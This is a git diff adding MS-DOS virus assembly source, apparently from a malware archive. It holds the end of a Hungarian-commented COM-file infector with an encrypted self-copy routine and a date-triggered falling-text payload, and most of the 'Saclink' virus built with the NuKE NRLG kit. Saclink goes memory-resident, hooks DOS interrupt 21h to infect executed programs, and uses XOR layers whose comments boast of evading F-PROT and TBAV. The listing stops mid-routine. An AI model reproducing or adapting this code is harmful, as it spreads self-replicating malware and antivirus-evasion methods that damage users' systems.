JC FERT1 + MOV BX,AX ; A FILESZAM ATVITELE BX-BE + MOV AX,5700H + INT 21H ; A KELETKEZESI IDO BEOLVASASA + MOV CS:FILDAT,DX ; ES ELTAROLASA + MOV CS:FILIDO,CX + MOV AH,3FH + PUSH CS + POP DS + MOV DX,OFFSET PRGKEZ + MOV CX,3 + INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA + JC FERT1 + CMP AX,CX ; SIKERULT MINDENT BEOLVASNI? + JNZ FERT1 ; NEM, HIBA TORTENT + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H ; FILE HOSSZANAK A MEGHATAROZASA + MOV CS:WORD PTR FILHOS,AX + MOV CS:WORD PTR FILHOS+2,DX + MOV AH,3EH + INT 21H ; A FILE LEZARASA + CMP CS:WORD PTR PRGKEZ,5A4DH + JNZ FERT2 ; COM FILE? + JMP FERT3 ; EXE ESETEN VISSZATERES +FERT2: CMP CS:WORD PTR FILHOS+2,0 + JA FERT1 ; NAGYOBB, MINT 64K? + CMP CS:WORD PTR FILHOS,0F93BH + JBE FERT7 ; A FILE MEG MEGFELELO MERETU +FERT1: JMP FERT3 +FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS? + JNZ FERT8 ; NEM + MOV AX,CS:WORD PTR FILHOS + ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK? + CMP AX,CS:WORD PTR PRGKEZ+1 + JZ FERT1 ; EZ A FILE MAR FERTOZOTT +FERT8: MOV AX,4300H + LDS DX,CS:FILNEV + INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA + JC FERT1 + MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA + XOR CL,20H ; AZ ARCHIV BIT INVERTALASA + TEST CL,27H + JZ FERT5 + MOV AX,4301H + XOR CX,CX + INT 21H ; AZ UJ ATTRIBUTUM FELIRASA + JC FERT1 +FERT5: MOV AX,3D02H + INT 21H ; FILE NYITASA IRASRA & OLVASASRA + JC FERT1 + MOV BX,AX ; FILE SORSZAM BX-BE + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H ; MUTATO A FILE VEGERE + CALL UTANMAS ; A VIRUST UTANAMASOLNI + JNC FERT9 ; SIKERULT? + MOV AX,4200H + MOV CX,CS:WORD PTR FILHOS+2 + MOV DX,CS:WORD PTR FILHOS + INT 21H ; MUTATO A FILE EREDETI VEGERE + MOV AH,40H + XOR CX,CX + INT 21H ; A FILEHOSSZ FELIRASA + JMP FERT6 +FERT9: MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H ; MUTATO A FILE ELEJERE + JC FERT6 + MOV AX,CS:WORD PTR FILHOS + ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA + MOV CS:WORD PTR UJKEZD+1,AX + MOV AH,040H + MOV DX,OFFSET UJKEZD + MOV CX,3 + INT 21H ; AZ ELSO HAROM BYTE KIIRASA +FERT6: MOV AX,5701H + MOV DX,CS:FILDAT ; A DATUM + MOV CX,CS:FILIDO ; ES IDO BEOLVASASA + INT 21H ; ES BEALLITASA + MOV AH,3EH + INT 21H ; A FILE LEZARASA + MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA + TEST CL,111B ; R/O, REJTETT VAGY RENDSZER? + JNZ FERTA + TEST CL,100000B ; ARCHIV FILE? + JNZ FERT3 +FERTA: MOV AX,4301H + LDS DX,CS:FILNEV + INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA +FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA + POP ES + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + JMP U21_2 + +VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA + PUSH DS + PUSH CS + POP DS + PUSH BX + PUSH CX + PUSH DX + PUSH AX + MOV CX,7 + MOV BX,OFFSET ORA+0EH + PUSH [BX] +VEL1: MOV AX,[BX-2] + ADC [BX],AX + DEC BX + DEC BX + LOOP VEL1 + POP AX + ADC [BX],AX + MOV DX,[BX] + POP AX + OR AX,AX + JZ VEL2 + MUL DX +VEL2: MOV AX,DX + POP DX ; REGISZTEREK VISSZAALLITASA + POP CX + POP BX + POP DS + RET +VELETL ENDP + +BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA + PUSH DS ; A REGISZTEREK ELMENTESE + PUSH ES + PUSH SI + PUSH DI + PUSH CX + PUSH CS ; ES=CS + POP ES + MOV CX,40H ; FORRAS= 0000:046CH + MOV DS,CX ; AZ ORA BEMASOLASA + MOV DI,OFFSET ORA + MOV SI,6CH + MOV CX,8 ; 16 BYTE + CLD ; NOVEKVO IRANYBA + REPZ MOVSW + POP CX ; A REGISZEREK ELOZO ERTEKEINEK + POP DI ; VISSZAALLITASA + POP SI + POP ES + POP DS + RET ; VISSZATERES +BEMAS ENDP + +VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL + PUSH SI ; REGISZTEREK ELMENTESE + PUSH DS + PUSH DX + MOV AL,DH + MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK + MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA + ADD AX,DX + SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.) + ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL + MOV SI,AX + TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? + MOV DS,VIDKEZ + JZ VO3 ; NEM HAVAZIK + MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA + CLI ; A MEGSZAKITASOKAT LETILTANI +VO1: IN AL,DX ; A STATUSZ BEOLVASASA + TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS + JNZ VO3 + TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL + JNZ VO1 +VO2: IN AL,DX + TEST AL,1 + JZ VO2 +VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA + STI ; A MEGZAKITAS ELLENORZESE + POP DX ; REGISZTEREK VISSZAOLVASASA + POP DS + POP SI + RET +VIDOLV ENDP + +VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA + PUSH DI ; REGISZTEREK ELMENTESE + PUSH ES + PUSH DX + PUSH BX + MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE + MOV AL,DH ; A CIM KISZAMITASA + MUL VIDOSZL + MOV DH,0 + ADD AX,DX + SHL AX,1 ; SZORZAS KETTOVEL + ADD AX,VIDOFS + MOV DI,AX + TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? + MOV ES,VIDKEZ + JZ VI3 ; NEM HAVAZIK + MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA + CLI ; MEGSZAKITASOKAT TILTANI +VI1: IN AL,DX ; A STATUSZT BEOLVASNI + TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS? + JNZ VI3 ; IGEN + TEST AL,1 ; IRHATUNK A VIDEORAM-BA? + JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG +VI2: IN AL,DX ; A STATUSZ BEOLVASASA + TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK + JZ VI2 +VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE + STOSB ; BEIRASA A VIDEORAM-BA + STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK + POP BX ; A REGISZTEREK VISSZAALITASA + POP DX + POP ES + POP DI + RET ; VISSZATERES +VIDIR ENDP + +VARAK PROC NEAR ; VARAKOZAS CX IDEIG + PUSH CX +V1: PUSH CX + MOV CX,IDOEGYS +V2: LOOP V2 + POP CX + LOOP V1 + POP CX + RET +VARAK ENDP + +HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA + PUSH AX ; AX ELMENTESE + IN AL,61H ; A PPI BEOLVASASA + XOR AL,2 ; A HANGSZORO ATKAPCSOLASA + AND AL,11111110B ; ENGEDELYEZESE + OUT 61H,AL ; VISSZAIRASA + POP AX ; AX VISSZAALLITASA + RET ; VISSZATERES +HANGSZ ENDP + +URES PROC NEAR + CMP AL,0 ; NUL KODJA? + JZ UR1 ; IGEN + CMP AL,20H ; SZOKOZ? + JZ UR1 ; IGEN + CMP AL,0FFH ; 0FFH IS URES + JZ UR1 ; AZ + CLC ; NEM URES + RET ; VISSZATERES +UR1: STC ; URES + RET ; VISSZATERES +URES ENDP + +GRAFIK PROC NEAR + CMP AL,0B0H ; 0B0H<=AL<=0DFH? + JB GR1 ; NEM + CMP AL,0DFH + JA GR1 ; NEM + STC ; IGEN + RET ; VISSZATERES +GR1: CLC ; NEM GRAFIKUS + RET ; VISSZATERES +GRAFIK ENDP + +KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA + PUSH DS + MOV AX,40H + MOV DS,AX + STI + MOV AX,DS:6CH ; AZ ORA BEOLVASASA +KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP + JZ KES1 + XOR CX,CX ; CX NULLAZASA + MOV AX,DS:6CH ; AZ ORA BEOLVASASA +KES2: INC CX ; CX=CX+1 + JZ KES4 ; HA TULCSORDULT + CMP AX,DS:6CH ; LEPETT MAR AZ ORA? + JZ KES2 ; MEG NEM +KES3: POP DS + MOV AX,CX + XOR DX,DX + MOV CX,0FH + DIV CX + MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA + RET +KES4: DEC CX + JMP KES3 +KESLH ENDP + +POTY PROC NEAR ; POTYOGTATAS + MOV VIDSOR,24 + PUSH DS + MOV AX,40H ; A BIOS PARAMETERBLOKK + MOV DS,AX + MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE + POP DS + MOV VIDOFS,AX + MOV DL,0FFH + MOV AX,1130H + MOV BH,0 + PUSH ES ; ES & BP ELMENTESE + PUSH BP + INT 10H ; A SOROK SZAMANAK BEOLVASASA + POP BP ; ES & BP VISSZAALLITASA + POP ES + CMP DL,0FFH + JZ PO1 +PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA +PO1: MOV AH,0FH + INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA + MOV VIDOSZL,AH ; ES ELTAROLASA + MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK + MOV VIDKEZ,0B000H ; BEALLITASA + CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT? + JZ PO3 ; IGEN + JB PO2 + JMP PO7 +PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME + CMP AL,3 + JA PO3 + CMP AL,2 + JB PO3 + MOV VIDMOD,1 ; HAVAZIK A KEPERNYO + MOV AL,VIDSOR ; A SOROK SZAMA + INC AL ; MEG EGY + MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL + MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON + MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA + CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM? + JBE PO5 ; NEM, TOVABB + MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM +PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO + INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT + MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA +PO3: XOR DI,DI ; DI=0 +PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA + MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM + SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET + CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN + JBE PO6 ; MEG NEM TELT LE + JMP PO7 ; TULLEPTE, KILEPETT +PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT + MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA + MOV AH,0 + CALL VELETL ; VELETLENSZAM ELOALLITASA + MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM + MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA + MOV AH,0 + CALL VELETL ; VELETLENSZAM ELOALLITASA + MOV DH,AL ; EZ LESZ A SORSZAM + CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA + CALL URES ; URES-E? + JC PO8 ; IGEN + CALL GRAFIK ; GRAFIKUS-E? + JC PO8 ; IGEN + MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK + MOV OLVATT,AH ; ELTAROLASA + MOV CL,VIDSOR ; CX=SOROK SZAMA + MOV CH,0 +POC: INC DH ; A KOVETKEZO SOR + CMP DH,VIDSOR ; ELERTE A MAXIMALISAT? + JA PO9 ; TULLEPTE, ABBAHAGYNI + CALL VIDOLV ; A KARAKTER BEOLVASASA + CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL? + JNZ PO9 ; NEM EGYEZIK + CALL URES ; URES KARAKTER-E? + JC POA ; IGEN +POE: CALL GRAFIK ; GRAFIKUS-E? + JC PO9 ; IGEN + INC DH ; A KOVETKEZO SOR + CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT? + JA PO9 ; IGEN + CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL + CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA + JNZ PO9 ; NEM EGYEZNEK + CALL URES ; URES KARAKTER-E? + JNC POE ; NEM + CALL HANGSZ ; HANG ELOALLITASA + DEC DH ; A FELETTE LEVO SOR + CALL VIDOLV ; BEOLVASASA + MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA + INC DH ; AZ ALATTA LEVO SOR +POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI + DEC DH ; A FELETTE LEVO SOR + MOV AL,20H ; A SZOKOZ KODJA + CALL VIDIR ; KIIRASA + INC DH ; AZ ALATTA LEVO SOR + MOV AL,OLVKAR ; A KARAKTER + CALL VIDIR ; KIIRASA + JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES + CALL VARAK ; VARAKOZAS + DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE +POB: JMP POC +PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER? + JZ POD ; IGEN + JMP PO8 ; UJ KISERLET +POD: CALL HANGSZ ; HANG ELOALLITASA + DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA + JZ PO7 ; HA NULLA, AKKOR KILEPNI + JMP PO3 ; UJRA KISERELNI +PO7: IN AL,61H ; A HANGSZORO BEOLVASASA + AND AL,11111100B ; KIKAPCSOLASA + OUT 61H,AL ; MAJD VISSZAIRASA + RET ; VISSZATERES +POTY ENDP + +UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG? + JNZ U1C_1 ; IGEN + OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI + DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI + JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE + PUSH DS ; REGISZTEREK ELMENTESE + PUSH ES + PUSH CS + POP DS ; DS=CS + PUSH CS + POP ES ; ES=CS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + MOV AL,20H + OUT 20H,AL + MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE + CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT? + JNB U1C_3 ; NEM + MOV AX,0438H ; KB. 60 MASODPERC +U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA + INC AX ; AZ IDO NEM LEHET NULLA + MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA + MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS + CALL POTY ; POTYOGTATAS + MOV AX,3 ; VELETLENSZAM ELOALLIASA + CALL VELETL ; 1 ES 3 KOZOTT + INC AX + MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO + JNB U1C_4 ; KARAKTEREK SZAMAVAL + MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET +U1C_4: MOV POTYKAR,AX ; ELTAROLASA + POP BP ; REGISZTEREK VISSZOLVASASA + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS +U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA +U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N + +UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS? + JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI + PUSH AX ; REGISZTEREK MENTESE + PUSH CX + PUSH DX + MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA + INT 21H + CMP CX,1988 ; AZ EV 1988? + JB U28_2 ; HA KISEBB, AKKOR KILEPES + JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT + CMP DH,10 ; VAN MAR OKTOBER? + JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON +U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE +U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA + POP CX + POP AX +U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N + +UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE + PUSH ES + PUSH BX + MOV AH,48H ; MEMORIATERULET ALLOKALASA + MOV BX,OFFSET HOSSZ/10H+1 + INT 21H + POP BX + JNC UTAN1 ; SIKERULT? +UTAN3: STC + POP ES + RET +UTAN1: MOV BYTE PTR CS:100H,1 + MOV ES,AX + PUSH CS ; DS=CS + POP DS + XOR DI,DI ; DI=0 + MOV SI,100H ; SI=100H + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + CLD ; NOVEKVO IRANY + REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE + MOV DI,OFFSET INDIT-100H + MOV SI,OFFSET INDIT + ADD SI,WORD PTR FILHOS + MOV CX,OFFSET VEG-INDIT +UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA + XOR ES:[DI],CX + INC DI + INC SI + LOOP UTAN2 + MOV DS,AX ; DS A PUFFER ELEJERE MUTAT + MOV AH,40H + XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + INT 21H ; KIIRAS A PROGRAM MOGE + PUSHF + PUSH AX + MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA + INT 21H + POP AX ; A REGISZTEREK VISSZAOLVASASA + POPF + PUSH CS ; DS=CS + POP DS + JC UTAN3 + CMP AX,CX ; MINDEN BYTEOT KIIRT? + JNZ UTAN3 ; NEM + POP ES + CLC ; NEM TORTENT HIBA + RET ; VISSZATERES +UTANMAS ENDP + +VEG EQU $ + +VIRUS ENDS + + END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.saclink.asm b/MSDOS/Virus.MSDOS.Unknown.saclink.asm new file mode 100644 index 00000000..b6c32606 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.saclink.asm @@ -0,0 +1,435 @@ +;敖陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳朕 +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +;青陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳潰 + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +xor byte ptr [di],035h +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +xor byte ptr [di],035h +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'You are infected with the: "Saclink" virus, very rare.','$' + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? 